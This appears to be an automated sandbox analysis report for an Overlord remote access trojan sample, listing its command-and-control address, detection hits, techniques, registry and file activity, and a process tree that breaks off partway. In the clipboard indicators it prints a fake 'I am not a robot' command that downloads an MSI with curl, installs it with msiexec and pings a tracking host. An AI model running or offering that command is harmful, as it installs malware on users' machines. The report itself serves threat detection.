overlord | 8e58cb8661f0362aad64ce2b17f0123532318d096732f80281544d00037ac2d2

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
10/09/2026, 00:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Webshare 10 proxies.txt
Size 418B
Sample260910-ac48fascrf
SHA256 8e58cb8661f0362aad64ce2b17f0123532318d096732f80281544d00037ac2d2
MD5 7a6d51cf74c0a81c1997139e347f9b67
SHA1 d98ed46b80eea84d7415bffbe8e00bfd9186ab31
SHA512 8c7ad104fd9d3a9fb92089e8d9351e54b39ed44485b07cb94b050706d6534989ff72dfff9d654a70ff49b2e09fb47c01fa779872f1564242601e783a0edd27c1
TLSH
T171E0EE62EC9B0A00BCD2CA4687EFFEEA012D09320631E28ECFC3162DDC02230F304A54
MD5 SHA1 SHA512 TLSH

Score

10^/10

discovery execution overlord rat

Malware Config

Extracted

Family

overlord

65.87.7.32:5173

Extracted

Family

overlord

65.87.7.32:5173

Signatures

Family: Overlord
Overlord is an open-source Windows RAT written in Golang.
rat overlord

Detects Overlord RAT 7 IoCs

resource	yara_rule
behavioral1/memory/5396-245-0x000001FB2AFD0000-0x000001FB2BA31000-memory.dmp	family_overlord
behavioral1/memory/5396-246-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp	family_overlord
behavioral1/memory/5396-258-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp	family_overlord
behavioral1/memory/5396-257-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp	family_overlord
behavioral1/memory/5396-259-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp	family_overlord
behavioral1/memory/5396-260-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp	family_overlord
behavioral1/memory/5396-261-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp	family_overlord

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3628 created 3204	3628	DeviceCaps.exe	54

Executes dropped EXE 1 IoCs

pid	Process
3628	DeviceCaps.exe

Loads dropped DLL 6 IoCs

pid	Process
3628	DeviceCaps.exe
3628	DeviceCaps.exe
3628	DeviceCaps.exe
3628	DeviceCaps.exe
3628	DeviceCaps.exe
3628	DeviceCaps.exe

Suspicious clipboard content. 2 IoCs

A suspicious script was copied to clipboard.

ioc	Process
cmd /c curl -sL -o "%temp%\cap.msi" "https://raw.githubusercontent.com/davidalaba13/recaptcha/main/captcha.msi" && msiexec /i "%temp%\cap.msi" && curl -s "https://vantaforu.info/rc.php?action=done&token=7zCOzFvaoHMIVoBXIp83" # ✅ ''I am not a robot - reCAPT	chrome.exe
cmd /c curl -sL -o "%temp%\cap.msi" "https://raw.githubusercontent.com/davidalaba13/recaptcha/main/captcha.msi" && msiexec /i "%temp%\cap.msi" && curl -s "https://vantaforu.info/rc.php?action=done&token=7zCOzFvaoHMIVoBXIp83" # ✅ ''I am not a robot - reCAPT	chrome.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
65	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3628 set thread context of 5396	3628	DeviceCaps.exe	114

Drops file in Windows directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI429D.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD1F61F9E7E00CB6C.TMP	msiexec.exe
File created	C:\Windows\Installer\e594164.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF86C160E96C135058.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{895814B3-17DE-48EE-B12D-2E45C05FF6AF}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF209036FE76B76E1F.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e594164.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4AE412469814DC55.TMP	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5148	cmd.exe
6048	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3456	chrome.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	chrome.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134334723494547714"	chrome.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3464	chrome.exe
3464	chrome.exe
6012	msiexec.exe
6012	msiexec.exe
3464	chrome.exe
3464	chrome.exe
3628	DeviceCaps.exe
3628	DeviceCaps.exe
3232	chrome.exe
3232	chrome.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe
Token: SeShutdownPrivilege	3464	chrome.exe
Token: SeCreatePagefilePrivilege	3464	chrome.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
4004	msiexec.exe
4004	msiexec.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 5148 wrote to memory of 3176	5148	cmd.exe	82
PID 3464 wrote to memory of 4616	3464	chrome.exe	84
PID 3464 wrote to memory of 700	3464	chrome.exe	85
PID 3464 wrote to memory of 700	3464	chrome.exe	85
PID 3464 wrote to memory of 3456	3464	chrome.exe	86
PID 3464 wrote to memory of 1120	3464	chrome.exe	87
PID 3464 wrote to memory of 1120	3464	chrome.exe	87
PID 3464 wrote to memory of 3304	3464	chrome.exe	89
PID 3464 wrote to memory of 3304	3464	chrome.exe	89
PID 3464 wrote to memory of 1088	3464	chrome.exe	90
PID 3464 wrote to memory of 1088	3464	chrome.exe	90
PID 3464 wrote to memory of 772	3464	chrome.exe	92
PID 3464 wrote to memory of 772	3464	chrome.exe	92
PID 3464 wrote to memory of 3028	3464	chrome.exe	93
PID 3464 wrote to memory of 3028	3464	chrome.exe	93
PID 3464 wrote to memory of 5228	3464	chrome.exe	94
PID 3464 wrote to memory of 5572	3464	chrome.exe	96
PID 3464 wrote to memory of 5572	3464	chrome.exe	96
PID 3464 wrote to memory of 5796	3464	chrome.exe	97
PID 3464 wrote to memory of 5796	3464	chrome.exe	97
PID 3464 wrote to memory of 1360	3464	chrome.exe	98
PID 3464 wrote to memory of 1360	3464	chrome.exe	98
PID 3464 wrote to memory of 1048	3464	chrome.exe	99
PID 3464 wrote to memory of 1048	3464	chrome.exe	99
PID 3464 wrote to memory of 5192	3464	chrome.exe	100
PID 3464 wrote to memory of 788	3464	chrome.exe	101
PID 3464 wrote to memory of 2588	3464	chrome.exe	102
PID 3464 wrote to memory of 5740	3464	chrome.exe	103
PID 3464 wrote to memory of 5740	3464	chrome.exe	103
PID 3464 wrote to memory of 5664	3464	chrome.exe	104
PID 3464 wrote to memory of 5664	3464	chrome.exe	104
PID 3464 wrote to memory of 5596	3464	chrome.exe	105
PID 3464 wrote to memory of 5596	3464	chrome.exe	105
PID 6048 wrote to memory of 6040	6048	cmd.exe	108
PID 6012 wrote to memory of 3628	6012	msiexec.exe	111
PID 3628 wrote to memory of 5396	3628	DeviceCaps.exe	114
PID 3464 wrote to memory of 3232	3464	chrome.exe	115

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3204
- C:\Windows\system32\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\Webshare 10 proxies.txt"
  2⤵
  - Executes a command shell one-liner
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:5148
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Webshare 10 proxies.txt
    3⤵
    PID:3176
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Suspicious clipboard content.
  - Checks SCSI registry key(s)
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8501fc728,0x7ff8501fc734,0x7ff8501fc740
    3⤵
    PID:4616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1656,i,11445309201164186343,16568321826357566465,262144 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1920 /prefetch:2
    3⤵
    PID:700
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1460,i,9143102475328819463,16788399694045545398,524288 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2236 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2372,i,16123486398081942736,13791867406444147381,524288 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2188 /prefetch:13
    3⤵
    PID:1120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3232,i,10821340886160854988,4828324015412161584,2097152 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3244 /prefetch:1
    3⤵
    PID:3304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3360,i,15407519830624711196,7524957159535933778,2097152 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3548 /prefetch:1
    3⤵
    PID:1088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4456,i,84623170757726352,10461498592762228415,2097152 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4468 /prefetch:9
    3⤵
    PID:772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4724,i,254852609564997105,5407405264619422922,2097152 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4700 /prefetch:1
    3⤵
    PID:3028
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5524,i,16259534243245647305,1319882854602761805,524288 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5532 /prefetch:14
    3⤵
    PID:5228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5948,i,10530079798545057107,13227151218115951994,2097152 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5904 /prefetch:1
    3⤵
    PID:5572
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5964,i,10627156432795651365,10597064813583426394,2097152 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5924 /prefetch:1
    3⤵
    PID:5796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=3604,i,4296492400441481301,1495827717112762460,2097152 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4696 /prefetch:1
    3⤵
    PID:1360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5532,i,12849968918749713998,6215888637309005627,2097152 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4776 /prefetch:1
    3⤵
    PID:1048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3496,i,18270297383398271492,13223797234227129877,524288 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3488 /prefetch:14
    3⤵
    PID:5192
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3500,i,9776447480308701239,8803845282370112127,524288 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3528 /prefetch:14
    3⤵
    PID:788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4724,i,129899653692825637,6505057722627446823,524288 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5580 /prefetch:14
    3⤵
    PID:2588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=4532,i,12869189921810858102,6095659580577002959,2097152 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3472 /prefetch:1
    3⤵
    PID:5740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=4760,i,1522108308675061573,14150740925514650954,2097152 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5832 /prefetch:1
    3⤵
    PID:5664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4828,i,12462220843744515680,1187133497008207711,524288 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4840 /prefetch:12
    3⤵
    PID:5596
- - C:\Program Files\Google\Chrome\Application\chrome.exe
